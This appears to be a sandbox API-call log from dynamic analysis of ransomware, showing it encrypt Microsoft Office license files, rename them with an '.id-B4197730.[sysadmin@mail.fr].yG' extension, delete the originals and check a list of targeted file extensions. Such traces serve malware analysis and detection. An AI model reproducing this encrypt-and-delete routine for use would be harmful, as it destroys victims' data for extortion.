	[0177.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0177.026] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.026] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.027] GetLastError () returned 0x0
	[0177.027] ReadFile (in: hFile=0x3fc, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0177.057] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0177.059] ReadFile (in: hFile=0x3fc, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.059] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x128, lpOverlapped=0x0) returned 1
	[0177.059] SetEndOfFile (hFile=0x530) returned 1
	[0177.060] CloseHandle (hObject=0x530) returned 1
	[0177.060] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.060] SetEndOfFile (hFile=0x3fc) returned 1
	[0177.240] CloseHandle (hObject=0x3fc) returned 1
	[0177.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 1
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0177.524] lstrlenW (lpString=".doc") returned 4
	[0177.524] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString=".docx") returned 5
	[0177.524] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.524] lstrlenW (lpString=".pdf") returned 4
	[0177.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString=".xls") returned 4
	[0177.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString=".xlsx") returned 5
	[0177.524] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.524] lstrlenW (lpString=".ppt") returned 4
	[0177.524] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0177.525] lstrlenW (lpString=".zip") returned 4
	[0177.525] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.525] lstrlenW (lpString=".rar") returned 4
	[0177.525] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.525] lstrlenW (lpString=".bz2") returned 4
	[0177.525] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.525] lstrlenW (lpString=".7z") returned 3
	[0177.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0177.525] lstrlenW (lpString=".dbf") returned 4
	[0177.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0177.525] lstrlenW (lpString=".1cd") returned 4
	[0177.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms") returned 92
	[0177.525] lstrlenW (lpString=".jpg") returned 4
	[0177.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.526] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11671) returned 1
	[0177.526] CloseHandle (hObject=0x29c) returned 1
	[0177.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0177.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.527] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.527] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0177.528] GetLastError () returned 0x0
	[0177.528] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0177.573] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0177.575] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.575] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x12e, lpOverlapped=0x0) returned 1
	[0177.575] SetEndOfFile (hFile=0x3dc) returned 1
	[0177.575] CloseHandle (hObject=0x3dc) returned 1
	[0177.575] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.575] SetEndOfFile (hFile=0x29c) returned 1
	[0177.580] CloseHandle (hObject=0x29c) returned 1
	[0177.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 1
	[0177.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0177.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0177.582] lstrlenW (lpString=".doc") returned 4
	[0177.582] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.582] lstrlenW (lpString=".docx") returned 5
	[0177.582] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.582] lstrlenW (lpString=".pdf") returned 4
	[0177.582] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.582] lstrlenW (lpString=".xls") returned 4
	[0177.582] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.582] lstrlenW (lpString=".xlsx") returned 5
	[0177.582] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.582] lstrlenW (lpString=".ppt") returned 4
	[0177.582] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0177.582] lstrlenW (lpString=".zip") returned 4
	[0177.582] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.583] lstrlenW (lpString=".rar") returned 4
	[0177.583] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.583] lstrlenW (lpString=".bz2") returned 4
	[0177.583] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.583] lstrlenW (lpString=".7z") returned 3
	[0177.583] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0177.583] lstrlenW (lpString=".dbf") returned 4
	[0177.583] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0177.583] lstrlenW (lpString=".1cd") returned 4
	[0177.583] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0177.583] lstrlenW (lpString=".jpg") returned 4
	[0177.583] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.584] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=27735) returned 1
	[0177.584] CloseHandle (hObject=0x29c) returned 1
	[0177.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 0x220
	[0177.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.585] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.585] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0177.587] GetLastError () returned 0x0
	[0177.587] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x6c57, lpOverlapped=0x0) returned 1
	[0177.736] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6c60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x6c60, lpOverlapped=0x0) returned 1
	[0177.738] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.738] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x128, lpOverlapped=0x0) returned 1
	[0177.738] SetEndOfFile (hFile=0x3dc) returned 1
	[0177.738] CloseHandle (hObject=0x3dc) returned 1
	[0177.739] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.739] SetEndOfFile (hFile=0x29c) returned 1
	[0177.742] CloseHandle (hObject=0x29c) returned 1
	[0177.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ppd.xrm-ms")) returned 1
	[0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0177.744] lstrlenW (lpString=".doc") returned 4
	[0177.744] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.744] lstrlenW (lpString=".docx") returned 5
	[0177.744] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.744] lstrlenW (lpString=".pdf") returned 4
	[0177.744] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.744] lstrlenW (lpString=".xls") returned 4
	[0177.744] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.744] lstrlenW (lpString=".xlsx") returned 5
	[0177.744] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.744] lstrlenW (lpString=".ppt") returned 4
	[0177.744] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0177.744] lstrlenW (lpString=".zip") returned 4
	[0177.745] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.745] lstrlenW (lpString=".rar") returned 4
	[0177.745] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.745] lstrlenW (lpString=".bz2") returned 4
	[0177.745] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.745] lstrlenW (lpString=".7z") returned 3
	[0177.745] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0177.745] lstrlenW (lpString=".dbf") returned 4
	[0177.745] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0177.745] lstrlenW (lpString=".1cd") returned 4
	[0177.745] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ppd.xrm-ms") returned 92
	[0177.745] lstrlenW (lpString=".jpg") returned 4
	[0177.745] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.746] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11215) returned 1
	[0177.746] CloseHandle (hObject=0x29c) returned 1
	[0177.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 0x220
	[0177.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.747] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.747] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0177.759] GetLastError () returned 0x0
	[0177.759] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0177.802] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0177.803] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.804] WriteFile (in: hFile=0x3dc, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x126, lpOverlapped=0x0) returned 1
	[0177.804] SetEndOfFile (hFile=0x3dc) returned 1
	[0177.804] CloseHandle (hObject=0x3dc) returned 1
	[0177.804] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.804] SetEndOfFile (hFile=0x29c) returned 1
	[0177.807] CloseHandle (hObject=0x29c) returned 1
	[0177.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-pl.xrm-ms")) returned 1
	[0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0177.814] lstrlenW (lpString=".doc") returned 4
	[0177.814] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString=".docx") returned 5
	[0177.814] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.814] lstrlenW (lpString=".pdf") returned 4
	[0177.814] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString=".xls") returned 4
	[0177.814] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString=".xlsx") returned 5
	[0177.814] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.814] lstrlenW (lpString=".ppt") returned 4
	[0177.814] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0177.814] lstrlenW (lpString=".zip") returned 4
	[0177.814] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString=".rar") returned 4
	[0177.814] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString=".bz2") returned 4
	[0177.814] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString=".7z") returned 3
	[0177.814] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0177.814] lstrlenW (lpString=".dbf") returned 4
	[0177.814] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0177.814] lstrlenW (lpString=".1cd") returned 4
	[0177.814] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-pl.xrm-ms") returned 91
	[0177.815] lstrlenW (lpString=".jpg") returned 4
	[0177.815] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.816] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=27735) returned 1
	[0177.816] CloseHandle (hObject=0x29c) returned 1
	[0177.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms")) returned 0x220
	[0177.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0177.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0177.817] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
